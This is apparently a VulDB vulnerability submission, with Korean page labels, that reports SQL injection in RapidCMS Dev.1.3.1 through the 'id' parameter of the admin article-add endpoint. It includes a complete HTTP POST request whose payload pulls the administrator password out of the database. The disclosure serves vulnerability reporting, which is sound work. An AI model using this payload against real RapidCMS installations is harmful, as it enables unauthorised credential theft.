| 제목 | RapidCMS Dev.1.3.1 was discovered to contain SQL injection vulnerability in the Website backend |
|---|
| 설명 | description:RapidCMS Dev.1.3.1 was discovered to contain SQL injection(post) vulnerability in the Website backend
[Vulnerability Type]
SQL INJECTION
[Vendor of Product]
https://github.com/OpenRapid/rapidcms
[Affected Product Code Base]
RapidCMS Dev.1.3.1
[Affected Component]
File： /admin/article/article-add-run.php
Parameter： id
**the data packet which trigger sql injection:**
POST /admin/article/article-add-run.php HTTP/1.1
Host: localhost:8094
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 182
Origin: http://localhost:8094
Connection: close
Referer: http://localhost:8094/admin/article/article-add.php
Cookie: PHPSESSID=su3eg6251ks1n2i43n36fqbn46; admin=Y6W6Rbt6a5W546O0O0O7
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
title=asdaw&file=&content=%3Cp%3Ewadawd%3Cbr%3E%3C%2Fp%3E&categoryid=1&id=1111111116",(select password from rapidcmsadmin),"%3Cp%3Ewadawd%3Cbr%3E%3C%2Fp%3E","2023-9-17","1") -- adawd
In the article viewing section(http://localhost:8094/admin/article/article.php),discovering that SQL injection has been triggered, retrieving the current user name of the database and display it in the title ,the screenshot of the injection result is included in https://github.com/yhy217/rapidcms-vul/issues/1
[Impact]
information disclosure
[Attack Type]
Remote
[Attack Vectors]
Net
The manufacturer has been notified |
|---|
| 원천 | ⚠️ https://github.com/yhy217/rapidcms-vul/issues/1 |
|---|
| 사용자 | jamspilly (UID 54414) |
|---|
| 제출 | 2023. 09. 17. PM 12:01 (3 연령 ago) |
|---|
| 모더레이션 | 2023. 09. 17. PM 07:26 (7 hours later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 239875 [OpenRapid RapidCMS 1.3.1 article-add.php 아이디 SQL 주입] |
|---|
| 포인트들 | 20 |
|---|